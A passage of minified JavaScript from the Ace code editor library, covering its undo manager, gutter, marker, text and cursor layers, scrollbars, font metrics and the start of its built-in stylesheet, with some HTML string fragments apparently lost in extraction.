i=this.renderer.scrollTop;this.renderer.scrollSelectionIntoView(e.start,e.end,.5),!1!==t&&this.renderer.animateScrolling(i)},this.undo=function(){this.$blockScrolling++,this.session.getUndoManager().undo(),this.$blockScrolling--,this.renderer.scrollCursorIntoView(null,.5)},this.redo=function(){this.$blockScrolling++,this.session.getUndoManager().redo(),this.$blockScrolling--,this.renderer.scrollCursorIntoView(null,.5)},this.destroy=function(){this.renderer.destroy(),this._signal("destroy",this),this.session&&this.session.destroy()},this.setAutoScrollEditorIntoView=function(e){if(e){var t,i=this,n=!1;this.$scrollAnchor||(this.$scrollAnchor=document.createElement("div"));var s=this.$scrollAnchor;s.style.cssText="position:absolute",this.container.insertBefore(s,this.container.firstChild);var o=this.on("changeSelection",(function(){n=!0})),r=this.renderer.on("beforeRender",(function(){n&&(t=i.renderer.container.getBoundingClientRect())})),a=this.renderer.on("afterRender",(function(){if(n&&t&&(i.isFocused()||i.searchBox&&i.searchBox.isFocused())){var e=i.renderer,o=e.$cursorLayer.$pixelPos,r=e.layerConfig,a=o.top-r.offset;n=o.top>=0&&a+t.top<0||!(o.topwindow.innerHeight)&&null,null!=n&&(s.style.top=a+"px",s.style.left=o.left+"px",s.style.height=r.lineHeight+"px",s.scrollIntoView(n)),n=t=null}}));this.setAutoScrollEditorIntoView=function(e){e||(delete this.setAutoScrollEditorIntoView,this.off("changeSelection",o),this.renderer.off("afterRender",a),this.renderer.off("beforeRender",r))}}},this.$resetCursorStyle=function(){var e=this.$cursorStyle||"ace",t=this.renderer.$cursorLayer;t&&(t.setSmoothBlinking(/smooth/.test(e)),t.isBlinking=!this.$readOnly&&"wide"!=e,s.setCssClass(t.element,"ace_slim-cursors",/slim/.test(e)))}}.call(C.prototype),A.defineOptions(C.prototype,"editor",{selectionStyle:{set:function(e){this.onSelectionChange(),this._signal("changeSelectionStyle",{data:e})},initialValue:"line"},highlightActiveLine:{set:function(){this.$updateHighlightActiveLine()},initialValue:!0},highlightSelectedWord:{set:function(e){this.$onSelectionChange()},initialValue:!0},readOnly:{set:function(e){this.$resetCursorStyle()},initialValue:!1},cursorStyle:{set:function(e){this.$resetCursorStyle()},values:["ace","slim","smooth","wide"],initialValue:"ace"},mergeUndoDeltas:{values:[!1,!0,"always"],initialValue:!0},behavioursEnabled:{initialValue:!0},wrapBehavioursEnabled:{initialValue:!0},autoScrollEditorIntoView:{set:function(e){this.setAutoScrollEditorIntoView(e)}},keyboardHandler:{set:function(e){this.setKeyboardHandler(e)},get:function(){return this.keybindingId},handlesSet:!0},hScrollBarAlwaysVisible:"renderer",vScrollBarAlwaysVisible:"renderer",highlightGutterLine:"renderer",animatedScroll:"renderer",showInvisibles:"renderer",showPrintMargin:"renderer",printMarginColumn:"renderer",printMargin:"renderer",fadeFoldWidgets:"renderer",showFoldWidgets:"renderer",showLineNumbers:"renderer",showGutter:"renderer",displayIndentGuides:"renderer",fontSize:"renderer",fontFamily:"renderer",maxLines:"renderer",minLines:"renderer",scrollPastEnd:"renderer",fixedWidthGutter:"renderer",theme:"renderer",scrollSpeed:"$mouseHandler",dragDelay:"$mouseHandler",dragEnabled:"$mouseHandler",focusTimout:"$mouseHandler",tooltipFollowsMouse:"$mouseHandler",firstLineNumber:"session",overwrite:"session",newLineMode:"session",useWorker:"session",useSoftTabs:"session",tabSize:"session",wrap:"session",indentedSoftWrap:"session",foldStyle:"session",mode:"session"}),t.Editor=C})),ace.define("ace/undomanager",["require","exports","module"],(function(e,t,i){"use strict";var n=function(){this.reset()};(function(){function e(e){return{action:e.action,start:e.start,end:e.end,lines:1==e.lines.length?null:e.lines,text:1==e.lines.length?e.lines[0]:null}}function t(e){return{action:e.action,start:e.start,end:e.end,lines:e.lines||[e.text]}}function i(e,t){for(var i=new Array(e.length),n=0;n0},this.hasRedo=function(){return this.$redoStack.length>0},this.markClean=function(){this.dirtyCounter=0},this.isClean=function(){return 0===this.dirtyCounter},this.$serializeDeltas=function(t){return i(t,e)},this.$deserializeDeltas=function(e){return i(e,t)}}).call(n.prototype),t.UndoManager=n})),ace.define("ace/layer/gutter",["require","exports","module","ace/lib/dom","ace/lib/oop","ace/lib/lang","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("../lib/dom"),s=e("../lib/oop"),o=e("../lib/lang"),r=e("../lib/event_emitter").EventEmitter,a=function(e){this.element=n.createElement("div"),this.element.className="ace_layer ace_gutter-layer",e.appendChild(this.element),this.setShowFoldWidgets(this.$showFoldWidgets),this.gutterWidth=0,this.$annotations=[],this.$updateAnnotations=this.$updateAnnotations.bind(this),this.$cells=[]};(function(){s.implement(this,r),this.setSession=function(e){this.session&&this.session.removeEventListener("change",this.$updateAnnotations),this.session=e,e&&e.on("change",this.$updateAnnotations)},this.addGutterDecoration=function(e,t){window.console&&console.warn&&console.warn("deprecated use session.addGutterDecoration"),this.session.addGutterDecoration(e,t)},this.removeGutterDecoration=function(e,t){window.console&&console.warn&&console.warn("deprecated use session.removeGutterDecoration"),this.session.removeGutterDecoration(e,t)},this.setAnnotations=function(e){this.$annotations=[];for(var t=0;tr&&(p=o.end.row+1,o=t.getNextFoldLine(p,o),r=o?o.start.row:1/0),p>s){while(this.$cells.length>f+1)g=this.$cells.pop(),this.element.removeChild(g.element);break}g=this.$cells[++f],g||(g={element:null,textNode:null,foldWidget:null},g.element=n.createElement("div"),g.textNode=document.createTextNode(""),g.element.appendChild(g.textNode),this.element.appendChild(g.element),this.$cells[f]=g);var m="ace_gutter-cell ";l[p]&&(m+=l[p]),c[p]&&(m+=c[p]),this.$annotations[p]&&(m+=this.$annotations[p].className),g.element.className!=m&&(g.element.className=m);var A=t.getRowLength(p)*e.lineHeight+"px";if(A!=g.element.style.height&&(g.element.style.height=A),a){var v=a[p];null==v&&(v=a[p]=t.getFoldWidget(p))}if(v){g.foldWidget||(g.foldWidget=n.createElement("span"),g.element.appendChild(g.foldWidget));m="ace_fold-widget ace_"+v;"start"==v&&p==r&&pi.right-t.right?"foldWidgets":void 0}}).call(a.prototype),t.Gutter=a})),ace.define("ace/layer/marker",["require","exports","module","ace/range","ace/lib/dom"],(function(e,t,i){"use strict";var n=e("../range").Range,s=e("../lib/dom"),o=function(e){this.element=s.createElement("div"),this.element.className="ace_layer ace_marker-layer",e.appendChild(this.element)};(function(){function e(e,t,i,n){return(e?1:0)|(t?2:0)|(i?4:0)|(n?8:0)}this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setMarkers=function(e){this.markers=e},this.update=function(e){if(e){this.config=e;var t=[];for(var i in this.markers){var n=this.markers[i];if(n.range){var s=n.range.clipRows(e.firstRow,e.lastRow);if(!s.isEmpty())if(s=s.toScreenRange(this.session),n.renderer){var o=this.$getTop(s.start.row,e),r=this.$padding+(this.session.$bidiHandler.isBidiRow(s.start.row)?this.session.$bidiHandler.getPosLeft(s.start.column):s.start.column*e.characterWidth);n.renderer(t,s,r,o,e)}else"fullLine"==n.type?this.drawFullLineMarker(t,s,n.clazz,e):"screenLine"==n.type?this.drawScreenLineMarker(t,s,n.clazz,e):s.isMultiLine()?"text"==n.type?this.drawTextMarker(t,s,n.clazz,e):this.drawMultiLineMarker(t,s,n.clazz,e):this.session.$bidiHandler.isBidiRow(s.start.row)?this.drawBidiSingleLineMarker(t,s,n.clazz+" ace_start ace_br15",e):this.drawSingleLineMarker(t,s,n.clazz+" ace_start ace_br15",e)}else n.update(t,this,this.session,e)}this.element.innerHTML=t.join("")}},this.$getTop=function(e,t){return(e-t.firstRowScreen)*t.lineHeight},this.drawTextMarker=function(t,i,s,o,r){for(var a=this.session,l=i.start.row,c=i.end.row,h=l,u=0,d=0,g=a.getScreenLastRowColumn(h),f=null,p=new n(h,i.start.column,h,d);h<=c;h++)p.start.row=p.end.row=h,p.start.column=h==l?i.start.column:a.getRowWrapIndent(h),p.end.column=g,u=d,d=g,g=h+1g,h==c),this.session.$bidiHandler.isBidiRow(h)?this.drawBidiSingleLineMarker(t,p,f,o,h==c?0:1,r):this.drawSingleLineMarker(t,p,f,o,h==c?0:1,r)},this.drawMultiLineMarker=function(e,t,i,n,s){var o,r,a,l=this.$padding;if(s=s||"",this.session.$bidiHandler.isBidiRow(t.start.row)){var c=t.clone();c.end.row=c.start.row,c.end.column=this.session.getLine(c.start.row).length,this.drawBidiSingleLineMarker(e,c,i+" ace_br1 ace_start",n,null,s)}else o=n.lineHeight,r=this.$getTop(t.start.row,n),a=l+t.start.column*n.characterWidth,e.push("
");if(this.session.$bidiHandler.isBidiRow(t.end.row)){c=t.clone();c.start.row=c.end.row,c.start.column=0,this.drawBidiSingleLineMarker(e,c,i+" ace_br12",n,null,s)}else{var h=t.end.column*n.characterWidth;o=n.lineHeight,r=this.$getTop(t.end.row,n),e.push("
")}if(o=(t.end.row-t.start.row-1)*n.lineHeight,!(o<=0)){r=this.$getTop(t.start.row+1,n);var u=(t.start.column?1:0)|(t.end.column?0:8);e.push("
")}},this.drawSingleLineMarker=function(e,t,i,n,s,o){var r=n.lineHeight,a=(t.end.column+(s||0)-t.start.column)*n.characterWidth,l=this.$getTop(t.start.row,n),c=this.$padding+t.start.column*n.characterWidth;e.push("
")},this.drawBidiSingleLineMarker=function(e,t,i,n,s,o){var r=n.lineHeight,a=this.$getTop(t.start.row,n),l=this.$padding,c=this.session.$bidiHandler.getSelections(t.start.column,t.end.column);c.forEach((function(t){e.push("
")}))},this.drawFullLineMarker=function(e,t,i,n,s){var o=this.$getTop(t.start.row,n),r=n.lineHeight;t.start.row!=t.end.row&&(r+=this.$getTop(t.end.row,n)-o),e.push("
")},this.drawScreenLineMarker=function(e,t,i,n,s){var o=this.$getTop(t.start.row,n),r=n.lineHeight;e.push("
")}}).call(o.prototype),t.Marker=o})),ace.define("ace/layer/text",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/useragent","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("../lib/oop"),s=e("../lib/dom"),o=e("../lib/lang"),r=(e("../lib/useragent"),e("../lib/event_emitter").EventEmitter),a=function(e){this.element=s.createElement("div"),this.element.className="ace_layer ace_text-layer",e.appendChild(this.element),this.$updateEolChar=this.$updateEolChar.bind(this)};(function(){n.implement(this,r),this.EOF_CHAR="¶",this.EOL_CHAR_LF="¬",this.EOL_CHAR_CRLF="¤",this.EOL_CHAR=this.EOL_CHAR_LF,this.TAB_CHAR="—",this.SPACE_CHAR="·",this.$padding=0,this.$updateEolChar=function(){var e="\n"==this.session.doc.getNewLineCharacter()?this.EOL_CHAR_LF:this.EOL_CHAR_CRLF;if(this.EOL_CHAR!=e)return this.EOL_CHAR=e,!0},this.setPadding=function(e){this.$padding=e,this.element.style.padding="0 "+e+"px"},this.getLineHeight=function(){return this.$fontMetrics.$characterSize.height||0},this.getCharacterWidth=function(){return this.$fontMetrics.$characterSize.width||0},this.$setFontMetrics=function(e){this.$fontMetrics=e,this.$fontMetrics.on("changeCharacterSize",function(e){this._signal("changeCharacterSize",e)}.bind(this)),this.$pollSizeChanges()},this.checkForSizeChanges=function(){this.$fontMetrics.checkForSizeChanges()},this.$pollSizeChanges=function(){return this.$pollSizeChangesTimer=this.$fontMetrics.$pollSizeChanges()},this.setSession=function(e){this.session=e,e&&this.$computeTabString()},this.showInvisibles=!1,this.setShowInvisibles=function(e){return this.showInvisibles!=e&&(this.showInvisibles=e,this.$computeTabString(),!0)},this.displayIndentGuides=!0,this.setDisplayIndentGuides=function(e){return this.displayIndentGuides!=e&&(this.displayIndentGuides=e,this.$computeTabString(),!0)},this.$tabStrings=[],this.onChangeTabSize=this.$computeTabString=function(){var e=this.session.getTabSize();this.tabSize=e;for(var t=this.$tabStrings=[0],i=1;i"+o.stringRepeat(this.TAB_CHAR,i)+""):t.push(o.stringRepeat(" ",i));if(this.displayIndentGuides){this.$indentGuideRe=/\s\S| \t|\t |\s$/;var n="ace_indent-guide",s="",r="";if(this.showInvisibles){n+=" ace_invisible",s=" ace_invisible_space",r=" ace_invisible_tab";var a=o.stringRepeat(this.SPACE_CHAR,this.tabSize),l=o.stringRepeat(this.TAB_CHAR,this.tabSize)}else a=o.stringRepeat(" ",this.tabSize),l=a;this.$tabStrings[" "]=""+a+"",this.$tabStrings["\t"]=""+l+""}},this.updateLines=function(e,t,i){this.config.lastRow==e.lastRow&&this.config.firstRow==e.firstRow||this.scrollLines(e),this.config=e;for(var n=Math.max(t,e.firstRow),s=Math.min(i,e.lastRow),o=this.element.childNodes,r=0,a=e.firstRow;ac&&(a=l.end.row+1,l=this.session.getNextFoldLine(a,l),c=l?l.start.row:1/0),a>s)break;var h=o[r++];if(h){var u=[];this.$renderLine(u,a,!this.$useLineGroups(),a==c&&l),h.style.height=e.lineHeight*this.session.getRowLength(a)+"px",h.innerHTML=u.join("")}a++}},this.scrollLines=function(e){var t=this.config;if(this.config=e,!t||t.lastRow0;n--)i.removeChild(i.firstChild);if(t.lastRow>e.lastRow)for(n=this.session.getFoldedRowCount(e.lastRow+1,t.lastRow);n>0;n--)i.removeChild(i.lastChild);if(e.firstRowt.lastRow){s=this.$renderLinesFragment(e,t.lastRow+1,e.lastRow);i.appendChild(s)}},this.$renderLinesFragment=function(e,t,i){var n=this.element.ownerDocument.createDocumentFragment(),o=t,r=this.session.getNextFoldLine(o),a=r?r.start.row:1/0;while(1){if(o>a&&(o=r.end.row+1,r=this.session.getNextFoldLine(o,r),a=r?r.start.row:1/0),o>i)break;var l=s.createElement("div"),c=[];if(this.$renderLine(c,o,!1,o==a&&r),l.innerHTML=c.join(""),this.$useLineGroups())l.className="ace_line_group",n.appendChild(l),l.style.height=e.lineHeight*this.session.getRowLength(o)+"px";else while(l.firstChild)n.appendChild(l.firstChild);o++}return n},this.update=function(e){this.config=e;var t=[],i=e.firstRow,n=e.lastRow,s=i,o=this.session.getNextFoldLine(s),r=o?o.start.row:1/0;while(1){if(s>r&&(s=o.end.row+1,o=this.session.getNextFoldLine(s,o),r=o?o.start.row:1/0),s>n)break;this.$useLineGroups()&&t.push("
"),this.$renderLine(t,s,!1,s==r&&o),this.$useLineGroups()&&t.push("
"),s++}this.element.innerHTML=t.join("")},this.$textToken={text:!0,rparen:!0,lparen:!0},this.$renderToken=function(e,t,i,n){var s=this,r=/\t|&|<|>|( +)|([\x00-\x1f\x80-\xa0\xad\u1680\u180E\u2000-\u200f\u2028\u2029\u202F\u205F\u3000\uFEFF\uFFF9-\uFFFC])|[\u1100-\u115F\u11A3-\u11A7\u11FA-\u11FF\u2329-\u232A\u2E80-\u2E99\u2E9B-\u2EF3\u2F00-\u2FD5\u2FF0-\u2FFB\u3000-\u303E\u3041-\u3096\u3099-\u30FF\u3105-\u312D\u3131-\u318E\u3190-\u31BA\u31C0-\u31E3\u31F0-\u321E\u3220-\u3247\u3250-\u32FE\u3300-\u4DBF\u4E00-\uA48C\uA490-\uA4C6\uA960-\uA97C\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFAFF\uFE10-\uFE19\uFE30-\uFE52\uFE54-\uFE66\uFE68-\uFE6B\uFF01-\uFF60\uFFE0-\uFFE6]|[\uD800-\uDBFF][\uDC00-\uDFFF]/g,a=function(e,i,n,r,a){if(i)return s.showInvisibles?""+o.stringRepeat(s.SPACE_CHAR,e.length)+"":e;if("&"==e)return"&";if("<"==e)return"<";if(">"==e)return">";if("\t"==e){var l=s.session.getScreenTabSize(t+r);return t+=l-1,s.$tabStrings[l]}if(" "==e){var c=s.showInvisibles?"ace_cjk ace_invisible ace_invisible_space":"ace_cjk",h=s.showInvisibles?s.SPACE_CHAR:"";return t+=1,""+h+""}return n?""+s.SPACE_CHAR+"":(t+=1,""+e+"")},l=n.replace(r,a);if(this.$textToken[i.type])e.push(l);else{var c="ace_"+i.type.replace(/\./g," ace_"),h="";"fold"==i.type&&(h=" style='width:"+i.value.length*this.config.characterWidth+"px;' "),e.push("",l,"")}return t+n.length},this.renderIndentGuide=function(e,t,i){var n=t.search(this.$indentGuideRe);return n<=0||n>=i?t:" "==t[0]?(n-=n%this.tabSize,e.push(o.stringRepeat(this.$tabStrings[" "],n/this.tabSize)),t.substr(n)):"\t"==t[0]?(e.push(o.stringRepeat(this.$tabStrings["\t"],n)),t.substr(n)):t},this.$renderWrappedLine=function(e,t,i,n){for(var s=0,r=0,a=i[0],l=0,c=0;c=a)l=this.$renderToken(e,l,h,u.substring(0,a-s)),u=u.substring(a-s),s=a,n||e.push("","
"),e.push(o.stringRepeat(" ",i.indent)),r++,l=0,a=i[r]||Number.MAX_VALUE;0!=u.length&&(s+=u.length,l=this.$renderToken(e,l,h,u))}}},this.$renderSimpleLine=function(e,t){var i=0,n=t[0],s=n.value;this.displayIndentGuides&&(s=this.renderIndentGuide(e,s)),s&&(i=this.$renderToken(e,i,n,s));for(var o=1;o"),s.length){var o=this.session.getRowSplitData(t);o&&o.length?this.$renderWrappedLine(e,s,o,i):this.$renderSimpleLine(e,s)}this.showInvisibles&&(n&&(t=n.end.row),e.push("",t==this.session.getLength()-1?this.EOF_CHAR:this.EOL_CHAR,"")),i||e.push("
")},this.$getFoldLineTokens=function(e,t){var i=this.session,n=[];function s(e,t,i){var s=0,o=0;while(o+e[s].value.lengthi-t&&(r=r.substring(0,i-t)),n.push({type:e[s].type,value:r}),o=t+r.length,s+=1}while(oi?n.push({type:e[s].type,value:r.substring(0,i-o)}):n.push(e[s]),o+=r.length,s+=1}}var o=i.getTokens(e);return t.walk((function(e,t,r,a,l){null!=e?n.push({type:"fold",value:e}):(l&&(o=i.getTokens(t)),o.length&&s(o,a,r))}),t.end.row,this.session.getLine(t.end.row).length),n},this.$useLineGroups=function(){return this.session.getUseWrapMode()},this.destroy=function(){clearInterval(this.$pollSizeChangesTimer),this.$measureNode&&this.$measureNode.parentNode.removeChild(this.$measureNode),delete this.$measureNode}}).call(a.prototype),t.Text=a})),ace.define("ace/layer/cursor",["require","exports","module","ace/lib/dom"],(function(e,t,i){"use strict";var n,s=e("../lib/dom"),o=function(e){this.element=s.createElement("div"),this.element.className="ace_layer ace_cursor-layer",e.appendChild(this.element),void 0===n&&(n=!("opacity"in this.element.style)),this.isVisible=!1,this.isBlinking=!0,this.blinkInterval=1e3,this.smoothBlinking=!1,this.cursors=[],this.cursor=this.addCursor(),s.addCssClass(this.element,"ace_hidden-cursors"),this.$updateCursors=(n?this.$updateVisibility:this.$updateOpacity).bind(this)};(function(){this.$updateVisibility=function(e){for(var t=this.cursors,i=t.length;i--;)t[i].style.visibility=e?"":"hidden"},this.$updateOpacity=function(e){for(var t=this.cursors,i=t.length;i--;)t[i].style.opacity=e?"":"0"},this.$padding=0,this.setPadding=function(e){this.$padding=e},this.setSession=function(e){this.session=e},this.setBlinking=function(e){e!=this.isBlinking&&(this.isBlinking=e,this.restartTimer())},this.setBlinkInterval=function(e){e!=this.blinkInterval&&(this.blinkInterval=e,this.restartTimer())},this.setSmoothBlinking=function(e){e==this.smoothBlinking||n||(this.smoothBlinking=e,s.setCssClass(this.element,"ace_smooth-blinking",e),this.$updateCursors(!0),this.$updateCursors=this.$updateOpacity.bind(this),this.restartTimer())},this.addCursor=function(){var e=s.createElement("div");return e.className="ace_cursor",this.element.appendChild(e),this.cursors.push(e),e},this.removeCursor=function(){if(this.cursors.length>1){var e=this.cursors.pop();return e.parentNode.removeChild(e),e}},this.hideCursor=function(){this.isVisible=!1,s.addCssClass(this.element,"ace_hidden-cursors"),this.restartTimer()},this.showCursor=function(){this.isVisible=!0,s.removeCssClass(this.element,"ace_hidden-cursors"),this.restartTimer()},this.restartTimer=function(){var e=this.$updateCursors;if(clearInterval(this.intervalId),clearTimeout(this.timeoutId),this.smoothBlinking&&s.removeCssClass(this.element,"ace_smooth-blinking"),e(!0),this.isBlinking&&this.blinkInterval&&this.isVisible){this.smoothBlinking&&setTimeout(function(){s.addCssClass(this.element,"ace_smooth-blinking")}.bind(this));var t=function(){this.timeoutId=setTimeout((function(){e(!1)}),.6*this.blinkInterval)}.bind(this);this.intervalId=setInterval((function(){e(!0),t()}),this.blinkInterval),t()}},this.getPixelPosition=function(e,t){if(!this.config||!this.session)return{left:0,top:0};e||(e=this.session.selection.getCursor());var i=this.session.documentToScreenPosition(e),n=this.$padding+(this.session.$bidiHandler.isBidiRow(i.row,e.row)?this.session.$bidiHandler.getPosLeft(i.column):i.column*this.config.characterWidth),s=(i.row-(t?this.config.firstRowScreen:0))*this.config.lineHeight;return{left:n,top:s}},this.update=function(e){this.config=e;var t=this.session.$selectionMarkers,i=0,n=0;void 0!==t&&0!==t.length||(t=[{cursor:null}]);i=0;for(var s=t.length;ie.height+e.offset||o.top<0)&&i>1)){var r=(this.cursors[n++]||this.addCursor()).style;this.drawCursor?this.drawCursor(r,o,e,t[i],this.session):(r.left=o.left+"px",r.top=o.top+"px",r.width=e.characterWidth+"px",r.height=e.lineHeight+"px")}}while(this.cursors.length>n)this.removeCursor();var a=this.session.getOverwrite();this.$setOverwrite(a),this.$pixelPos=o,this.restartTimer()},this.drawCursor=null,this.$setOverwrite=function(e){e!=this.overwrite&&(this.overwrite=e,e?s.addCssClass(this.element,"ace_overwrite-cursors"):s.removeCssClass(this.element,"ace_overwrite-cursors"))},this.destroy=function(){clearInterval(this.intervalId),clearTimeout(this.timeoutId)}}).call(o.prototype),t.Cursor=o})),ace.define("ace/scrollbar",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/event","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/dom"),o=e("./lib/event"),r=e("./lib/event_emitter").EventEmitter,a=32768,l=function(e){this.element=s.createElement("div"),this.element.className="ace_scrollbar ace_scrollbar"+this.classSuffix,this.inner=s.createElement("div"),this.inner.className="ace_scrollbar-inner",this.element.appendChild(this.inner),e.appendChild(this.element),this.setVisible(!1),this.skipEvent=!1,o.addListener(this.element,"scroll",this.onScroll.bind(this)),o.addListener(this.element,"mousedown",o.preventDefault)};(function(){n.implement(this,r),this.setVisible=function(e){this.element.style.display=e?"":"none",this.isVisible=e,this.coeff=1}}).call(l.prototype);var c=function(e,t){l.call(this,e),this.scrollTop=0,this.scrollHeight=0,t.$scrollbarWidth=this.width=s.scrollbarWidth(e.ownerDocument),this.inner.style.width=this.element.style.width=(this.width||15)+5+"px",this.$minWidth=0};n.inherits(c,l),function(){this.classSuffix="-v",this.onScroll=function(){if(!this.skipEvent){if(this.scrollTop=this.element.scrollTop,1!=this.coeff){var e=this.element.clientHeight/this.scrollHeight;this.scrollTop=this.scrollTop*(1-e)/(this.coeff-e)}this._emit("scroll",{data:this.scrollTop})}this.skipEvent=!1},this.getWidth=function(){return Math.max(this.isVisible?this.width:0,this.$minWidth||0)},this.setHeight=function(e){this.element.style.height=e+"px"},this.setInnerHeight=this.setScrollHeight=function(e){this.scrollHeight=e,e>a?(this.coeff=a/e,e=a):1!=this.coeff&&(this.coeff=1),this.inner.style.height=e+"px"},this.setScrollTop=function(e){this.scrollTop!=e&&(this.skipEvent=!0,this.scrollTop=e,this.element.scrollTop=e*this.coeff)}}.call(c.prototype);var h=function(e,t){l.call(this,e),this.scrollLeft=0,this.height=t.$scrollbarWidth,this.inner.style.height=this.element.style.height=(this.height||15)+5+"px"};n.inherits(h,l),function(){this.classSuffix="-h",this.onScroll=function(){this.skipEvent||(this.scrollLeft=this.element.scrollLeft,this._emit("scroll",{data:this.scrollLeft})),this.skipEvent=!1},this.getHeight=function(){return this.isVisible?this.height:0},this.setWidth=function(e){this.element.style.width=e+"px"},this.setInnerWidth=function(e){this.inner.style.width=e+"px"},this.setScrollWidth=function(e){this.inner.style.width=e+"px"},this.setScrollLeft=function(e){this.scrollLeft!=e&&(this.skipEvent=!0,this.scrollLeft=this.element.scrollLeft=e)}}.call(h.prototype),t.ScrollBar=c,t.ScrollBarV=c,t.ScrollBarH=h,t.VScrollBar=c,t.HScrollBar=h})),ace.define("ace/renderloop",["require","exports","module","ace/lib/event"],(function(e,t,i){"use strict";var n=e("./lib/event"),s=function(e,t){this.onRender=e,this.pending=!1,this.changes=0,this.window=t||window};(function(){this.schedule=function(e){if(this.changes=this.changes|e,!this.pending&&this.changes){this.pending=!0;var t=this;n.nextFrame((function(){var e;t.pending=!1;while(e=t.changes)t.changes=0,t.onRender(e)}),this.window)}}}).call(s.prototype),t.RenderLoop=s})),ace.define("ace/layer/font_metrics",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/lib/lang","ace/lib/useragent","ace/lib/event_emitter"],(function(e,t,i){var n=e("../lib/oop"),s=e("../lib/dom"),o=e("../lib/lang"),r=e("../lib/useragent"),a=e("../lib/event_emitter").EventEmitter,l=0,c=t.FontMetrics=function(e){this.el=s.createElement("div"),this.$setMeasureNodeStyles(this.el.style,!0),this.$main=s.createElement("div"),this.$setMeasureNodeStyles(this.$main.style),this.$measureNode=s.createElement("div"),this.$setMeasureNodeStyles(this.$measureNode.style),this.el.appendChild(this.$main),this.el.appendChild(this.$measureNode),e.appendChild(this.el),l||this.$testFractionalRect(),this.$measureNode.innerHTML=o.stringRepeat("X",l),this.$characterSize={width:0,height:0},this.checkForSizeChanges()};(function(){n.implement(this,a),this.$characterSize={width:0,height:0},this.$testFractionalRect=function(){var e=s.createElement("div");this.$setMeasureNodeStyles(e.style),e.style.width="0.2px",document.documentElement.appendChild(e);var t=e.getBoundingClientRect().width;l=t>0&&t<1?50:100,e.parentNode.removeChild(e)},this.$setMeasureNodeStyles=function(e,t){e.width=e.height="auto",e.left=e.top="0px",e.visibility="hidden",e.position="absolute",e.whiteSpace="pre",r.isIE<8?e["font-family"]="inherit":e.font="inherit",e.overflow=t?"hidden":"visible"},this.checkForSizeChanges=function(){var e=this.$measureSizes();if(e&&(this.$characterSize.width!==e.width||this.$characterSize.height!==e.height)){this.$measureNode.style.fontWeight="bold";var t=this.$measureSizes();this.$measureNode.style.fontWeight="",this.$characterSize=e,this.charSizes=Object.create(null),this.allowBoldFonts=t&&t.width===e.width&&t.height===e.height,this._emit("changeCharacterSize",{data:e})}},this.$pollSizeChanges=function(){if(this.$pollSizeChangesTimer)return this.$pollSizeChangesTimer;var e=this;return this.$pollSizeChangesTimer=setInterval((function(){e.checkForSizeChanges()}),500)},this.setPolling=function(e){e?this.$pollSizeChanges():this.$pollSizeChangesTimer&&(clearInterval(this.$pollSizeChangesTimer),this.$pollSizeChangesTimer=0)},this.$measureSizes=function(){if(50===l){var e=null;try{e=this.$measureNode.getBoundingClientRect()}catch(i){e={width:0,height:0}}var t={height:e.height,width:e.width/l}}else t={height:this.$measureNode.clientHeight,width:this.$measureNode.clientWidth/l};return 0===t.width||0===t.height?null:t},this.$measureCharWidth=function(e){this.$main.innerHTML=o.stringRepeat(e,l);var t=this.$main.getBoundingClientRect();return t.width/l},this.getCharacterWidth=function(e){var t=this.charSizes[e];return void 0===t&&(t=this.charSizes[e]=this.$measureCharWidth(e)/this.$characterSize.width),t},this.destroy=function(){clearInterval(this.$pollSizeChangesTimer),this.el&&this.el.parentNode&&this.el.parentNode.removeChild(this.el)}}).call(c.prototype)})),ace.define("ace/virtual_renderer",["require","exports","module","ace/lib/oop","ace/lib/dom","ace/config","ace/lib/useragent","ace/layer/gutter","ace/layer/marker","ace/layer/text","ace/layer/cursor","ace/scrollbar","ace/scrollbar","ace/renderloop","ace/layer/font_metrics","ace/lib/event_emitter"],(function(e,t,i){"use strict";var n=e("./lib/oop"),s=e("./lib/dom"),o=e("./config"),r=e("./lib/useragent"),a=e("./layer/gutter").Gutter,l=e("./layer/marker").Marker,c=e("./layer/text").Text,h=e("./layer/cursor").Cursor,u=e("./scrollbar").HScrollBar,d=e("./scrollbar").VScrollBar,g=e("./renderloop").RenderLoop,f=e("./layer/font_metrics").FontMetrics,p=e("./lib/event_emitter").EventEmitter,m='.ace_editor {position: relative;overflow: hidden;font: 12px/normal \'Monaco\', \'Menlo\', \'Ubuntu Mono\', \'Consolas\', \'source-code-pro\', monospace;direction: ltr;text-align: left;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);}.ace_scroller {position: absolute;overflow: hidden;top: 0;bottom: 0;background-color: inherit;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;cursor: text;}.ace_content {position: absolute;-moz-box-sizing: border-box;-webkit-box-sizing: border-box;box-sizing: border-box;min-width: 100%;}.ace_dragging .ace_scroller:before{position: absolute;top: 0;left: 0;right: 0;bottom: 0;content: \'\';background: rgba(250, 250, 250, 0.01);z-index: 1000;}.ace_dragging.ace_dark .ace_scroller:before{background: rgba(0, 0, 0, 0.01);}.ace_selecting, .ace_selecting * {cursor: text !important;}.ace_gutter {position: absolute;overflow : hidden;width: auto;top: 0;bottom: 0;left: 0;cursor: default;z-index: 4;-ms-user-select: none;-moz-user-select: none;-webkit-user-select: none;user-select: none;}.ace_gutter-active-line {position: absolute;left: 0;right: 0;}.ace_scroller.ace_scroll-left {box-shadow: 17px 0 16px -16px rgba(0, 0, 0, 0.4) inset;}.ace_gutter-cell {padding-left: 19px;padding-right: 6px;background-repeat: no-repeat;}.ace_gutter-cell.ace_error {background-image: 